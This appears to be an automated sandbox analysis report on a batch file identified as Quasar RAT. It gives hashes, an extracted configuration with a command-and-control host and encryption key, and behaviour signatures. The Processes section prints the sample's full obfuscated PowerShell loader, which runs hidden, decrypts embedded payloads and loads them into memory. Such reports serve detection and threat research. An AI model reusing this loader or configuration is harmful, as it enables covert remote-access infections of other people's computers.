Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    28-06-2024 23:55

General

  • Target

    Neo.bat

  • Size

    272KB

  • MD5

    7e4958f049e5dac26748252f3447d3a3

  • SHA1

    ee9dcf7b4eb963547edc6adb524e70a20a29aa03

  • SHA256

    afd1e3df846e293a28e0cbf7c2d75d14b2741870f4f4d9821a52eb8444ccf182

  • SHA512

    b0c40b52ae2543dad9db1b6dd1bd3b13407843715ad0f419d7520b90bb4aed6235187a9baf1bbe7b852c4e39911e65150ef28455a8e52225bc04ab4b8bc39160

  • SSDEEP

    6144:l73aNpEWlF7vxuEGAM5sfaHX+Of9iGUfKNjkXtYEgXoTb2k:lLmEWJjMi0X3ViGUf8ctVaY

Malware Config

Extracted

Family

quasar

Version

1.1.0

Botnet

Slave

C2

runderscore00-42512.portmap.io:42512

Mutex

QSR_MUTEX_aYgVTolyJfnSo2kPQj

Attributes
  • encryption_key

    Yf65C7zFbniWDCy7fhUm

  • install_name

    Client.exe

  • log_directory

    Logs

  • reconnect_delay

    3000

  • startup_key

    Quasar Client Startup

  • subdirectory

    SubDir

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 1 IoCs
  • Blocklisted process makes network request 29 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Neo.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4944
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/3Efcn+SDEpJR1JenkZ6Rs7BtpqldOJo1ZPEc5aK6j4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('caD4PIX78HWMO7N++ZAzJA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $hEySi=New-Object System.IO.MemoryStream(,$param_var); $iTdjt=New-Object System.IO.MemoryStream; $eJQAi=New-Object System.IO.Compression.GZipStream($hEySi, [IO.Compression.CompressionMode]::Decompress); $eJQAi.CopyTo($iTdjt); $eJQAi.Dispose(); $hEySi.Dispose(); $iTdjt.Dispose(); $iTdjt.ToArray();}function execute_function($param_var,$param2_var){ $PuVCg=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $yPbYO=$PuVCg.EntryPoint; $yPbYO.Invoke($null, $param2_var);}$xkpDo = 'C:\Users\Admin\AppData\Local\Temp\Neo.bat';$host.UI.RawUI.WindowTitle = $xkpDo;$FaHLG=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($xkpDo).Split([Environment]::NewLine);foreach ($CebJO in $FaHLG) { if ($CebJO.StartsWith(':: ')) { $KEPuw=$CebJO.Substring(3); break; }}$payloads_var=[string[]]$KEPuw.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:428

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0wfq3rmq.op0.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • memory/428-31-0x00000000099B0000-0x000000000A028000-memory.dmp

    Filesize

    6.5MB

  • memory/428-53-0x0000000073480000-0x0000000073B6E000-memory.dmp

    Filesize

    6.9MB

  • memory/428-4-0x0000000073480000-0x0000000073B6E000-memory.dmp

    Filesize

    6.9MB

  • memory/428-6-0x0000000073480000-0x0000000073B6E000-memory.dmp

    Filesize

    6.9MB

  • memory/428-7-0x0000000007100000-0x0000000007122000-memory.dmp

    Filesize

    136KB

  • memory/428-8-0x00000000079E0000-0x0000000007A46000-memory.dmp

    Filesize

    408KB

  • memory/428-9-0x0000000007900000-0x0000000007966000-memory.dmp

    Filesize

    408KB

  • memory/428-10-0x0000000007A70000-0x0000000007DC0000-memory.dmp

    Filesize

    3.3MB

  • memory/428-13-0x00000000079C0000-0x00000000079DC000-memory.dmp

    Filesize

    112KB

  • memory/428-14-0x0000000007F10000-0x0000000007F5B000-memory.dmp

    Filesize

    300KB

  • memory/428-15-0x0000000008190000-0x0000000008206000-memory.dmp

    Filesize

    472KB

  • memory/428-3-0x00000000049C0000-0x00000000049F6000-memory.dmp

    Filesize

    216KB

  • memory/428-57-0x0000000073480000-0x0000000073B6E000-memory.dmp

    Filesize

    6.9MB

  • memory/428-5-0x0000000007260000-0x0000000007888000-memory.dmp

    Filesize

    6.2MB

  • memory/428-36-0x0000000009410000-0x000000000946E000-memory.dmp

    Filesize

    376KB

  • memory/428-33-0x0000000008F70000-0x0000000008F78000-memory.dmp

    Filesize

    32KB

  • memory/428-34-0x0000000009240000-0x00000000092DC000-memory.dmp

    Filesize

    624KB

  • memory/428-35-0x0000000009330000-0x0000000009364000-memory.dmp

    Filesize

    208KB

  • memory/428-32-0x0000000008F30000-0x0000000008F4A000-memory.dmp

    Filesize

    104KB

  • memory/428-37-0x000000000A030000-0x000000000A52E000-memory.dmp

    Filesize

    5.0MB

  • memory/428-38-0x0000000009560000-0x00000000095F2000-memory.dmp

    Filesize

    584KB

  • memory/428-39-0x0000000006D10000-0x0000000006D22000-memory.dmp

    Filesize

    72KB

  • memory/428-40-0x00000000094D0000-0x000000000950E000-memory.dmp

    Filesize

    248KB

  • memory/428-44-0x0000000009550000-0x000000000955A000-memory.dmp

    Filesize

    40KB

  • memory/428-52-0x000000007348E000-0x000000007348F000-memory.dmp

    Filesize

    4KB

  • memory/428-0-0x000000007348E000-0x000000007348F000-memory.dmp

    Filesize

    4KB

  • memory/428-56-0x0000000073480000-0x0000000073B6E000-memory.dmp

    Filesize

    6.9MB

  • memory/428-28-0x0000000073480000-0x0000000073B6E000-memory.dmp

    Filesize

    6.9MB